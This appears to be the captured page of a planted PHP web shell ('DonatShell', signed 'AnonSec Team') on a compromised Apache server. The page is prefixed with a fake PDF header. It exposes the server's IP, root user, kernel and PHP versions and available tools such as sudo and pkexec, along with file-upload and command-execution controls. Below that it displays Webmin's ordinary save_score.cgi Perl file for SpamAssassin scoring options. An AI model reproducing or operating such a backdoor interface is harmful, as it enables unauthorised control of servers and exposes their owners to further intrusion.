%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/spam/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/spam/save_score.cgi
#!/usr/bin/perl
# save_score.cgi
# Save message scoring options

require './spam-lib.pl';
&error_setup($text{'score_err'});
&ReadParse();
&set_config_file_in(\%in);
&can_use_check("score");
&execute_before("score");
&lock_spam_files();
$conf = &get_config();

$hits_param = &version_atleast(3.0) ? "required_score" : "required_hits";
&parse_opt($conf, $hits_param, \&hits_check);
&parse_opt($conf, "auto_whitelist_factor", \&auto_check);
&parse_yes_no($conf, "use_bayes");
&parse_opt($conf, "check_mx_attempts", \&mx_check);
&parse_opt($conf, "check_mx_delay", \&mxdelay_check);
&parse_yes_no($conf, "skip_rbl_checks");
&parse_opt($conf, "rbl_timeout", \&timeout_check);
&parse_opt($conf, "num_check_received", \&received_check);

@trusted = grep { /\S/ } split(/\r?\n/, $in{'trusted_networks'});
&save_directives($conf, "trusted_networks", \@trusted, 1);

if (defined($in{'langs_def'})) {
	if ($in{'langs_def'} == 2) {
		&save_directives($conf, "ok_languages", [ ], 1);
		}
	elsif ($in{'langs_def'} == 1) {
		&save_directives($conf, "ok_languages", [ "all" ], 1);
		}
	else {
		&save_directives($conf, "ok_languages",
				 [ join(" ", split(/\0/, $in{'langs'})) ], 1);
		}
	}

if (defined($in{'locales_def'})) {
	if ($in{'locales_def'} == 2) {
		&save_directives($conf, "ok_locales", [ ], 1);
		}
	elsif ($in{'locales_def'} == 1) {
		&save_directives($conf, "ok_locales", [ "all" ], 1);
		}
	else {
		&save_directives($conf, "ok_locales",
				 [ join(" ", split(/\0/, $in{'locales'})) ], 1);
		}
	}

&flush_file_lines();
&unlock_spam_files();
&execute_after("score");
&webmin_log("score");
&redirect($redirect_url);

sub hits_check
{
$_[0] =~ /^\d+(\.\d+)?$/ || &error($text{'score_ehits'});
}

sub auto_check
{
$_[0] =~ /^\d+(\.\d+)?$/ && $_[0] >= 0 && $_[0] <= 1 ||
	&error($text{'score_eauto'});
}

sub mx_check
{
$_[0] =~ /^\d+$/ || &error($text{'score_emx'});
}

sub mxdelay_check
{
$_[0] =~ /^\d+$/ || &error($text{'score_emxdelay'});
}

sub timeout_check
{
$_[0] =~ /^\d+$/ || &error($text{'score_etimeout'});
}

sub received_check
{
$_[0] =~ /^\d+$/ || &error($text{'score_ereceived'});
}


Anon7 - 2022
AnonSec Team